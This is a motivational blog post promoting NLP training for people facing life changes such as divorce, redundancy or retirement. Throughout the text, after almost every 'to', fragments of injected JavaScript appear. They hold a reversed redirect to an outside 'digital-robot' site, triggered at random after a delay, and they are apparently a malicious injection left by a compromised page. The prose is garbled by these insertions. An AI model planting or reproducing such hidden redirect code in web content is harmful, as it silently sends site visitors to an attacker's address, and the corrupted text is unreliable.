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Are you at a crossroads in your life?

Are you faced with choices and not sure which way tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to go?

Has life thrown you a curve ball?

I hear it so often when people arrive on Day 1 of my NLP trainings. “I’m at a crossroads in my life”.

What kind of crossroads?

There are many different types of crossroads, such as:

  • Divorce or a relationship breaking up
  •  A new relationship beginning
  • Redundancy
  • Children leaving home
  • Falling out of love with your career
  • A windfall or inheritance
  • An illness or accident
  • A bereavement
  • Retirement
  • Moving house
  • Having tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make a difficult choice
  • and many more …

What they all have in common is that the life you were leading before is no longer going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be the same. You will be facing changes, whether you have chosen them or not.

How do you feel about the changes ahead of you?

Feelings can be roused by a crossroads. You may be

  • elated and eager about the changes
  • fearful or feeling threatened
  • feeling bereaved or sad about the loss of your “old” life
  • confused by everyone else telling you what you “should” do
  • overwhelmed by choice
  • tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torn between your head and your heart
  • feeling powerless and out of control.

It’s very common tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to feel all of these at once.

I know what that’s like

When I left my safe, well-paid corporate job and started out in self-employment I felt sick with excitement and sick with nerves at the same time. Part of me knew I was doing the right thing, and part of me secretly agreed with those around me who tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}told me I was mad.

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NLP can help you navigate

People who find NLP when they are at a crossroads, are usually searching for strategies which will help them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do one or more of the following:

  • Understand why you are feeling the way you are, and what you can do about it, no matter which of the feelings you are experiencing
  • Explore the choices in front of you in a way that reconciles head and heart
  • Uncover your own drivers that will guide you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take the best course of action for you, no matter what other people say, or what you “should” do
  • Tap intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to your inner strengths, and find the resources you need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to tackle changes and tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take back control of your own life
  • Find resources tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to stay calm and strong when everything around you is in upheaval

What about you?

Are you at a crossroads in your life?

What are the choices ahead of you?

How do you feel about them?

You might like our free course “5 Ways To Change Your Life for the Better”, which is a mini-introduction tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to NLP.

Or join us on a 2-Day Introduction tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to NLP and explore the choices at your own personal crossroads.

 

About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)